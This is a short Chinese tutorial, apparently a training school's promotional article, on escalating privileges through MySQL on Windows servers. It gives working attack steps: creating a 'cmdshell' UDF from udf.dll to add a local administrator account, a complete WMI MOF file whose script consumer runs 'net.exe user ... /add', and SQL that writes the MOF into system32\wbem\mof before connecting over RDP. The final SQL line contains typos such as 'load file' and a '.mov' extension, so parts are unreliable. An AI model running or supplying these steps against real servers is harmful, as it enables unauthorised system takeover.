Mysql_UDF 提權

　　要求：

　　1.目標系統是 Windows(Win2000,XP,Win2003);

　　2.擁有 MYSQL 的某個用戶賬號，此賬號必須有對 mysql 的 insert 和 delete 權限以創建和拋棄函數

　　 3.有 root 賬號密碼 導出 udf: MYSQL 5.1 以上版本，必須要把 udf.dll 文件放到 MYSQL 安裝目錄下的 lib\plugin 文件夾下才能創建自定義函數可以再 mysql 里輸入select @@basedirshow variables like ‘%plugins%’尋找 mysql 安裝路徑。

　　提權：使用 SQL 語句創建功能函數。

　　語法：Create Function 函數名(函數名只能為下面列表中的其中之一)

　　returns string soname ‘導出的 DLL 路徑’；　　

create function cmdshell returns string

soname ‘udf.dll’select cmdshell(‘net user arsch arsch

/add’);select

cmdshell(‘net localgroup

administrators arsch /add’);

drop function

　　cmdshell;該目錄默認是不存在的，這就需要我們使用 webshell 找到 MYSQL 的安裝目錄，并在安裝目錄下創建lib\plugin 文件夾，然后將 udf.dll 文件導出到該目錄即可。

　　Mysql mof 提權　　

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter{EventNamespace = "Root\\Cimv2";Name =

"filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa

\"Win32_LocalTime\" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};

instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine =

"JScript";ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user

waitalone waitalone.cn /add\")";};

instance of __FilterToConsumerBinding{Consumer

= $Consumer;Filter = $EventFilter;};

　　其中的第 18 行的命令，上傳前請自己更改。

　　執行 load_file 及 into dumpfile 把文件導出到正確的位置即可。　　

select load file('c:/wmpub/nullevt.mof') into dumpfile

'c:/windows/system32/wbem/mof/nullevt.mov'

　　執行成功后，即可添加一個普通用戶，然后你可以更改命令，再上傳導出執行把用戶提升到管理員權限，然后 3389 連接之就 ok 了。

　　更多關于“網絡安全培訓”的問題，歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學，課程大綱緊跟企業需求，更科學更嚴謹，每年培養泛IT人才近2萬人。不論你是零基礎還是想提升，都可以找到適合的班型，千鋒教育隨時歡迎你來試聽。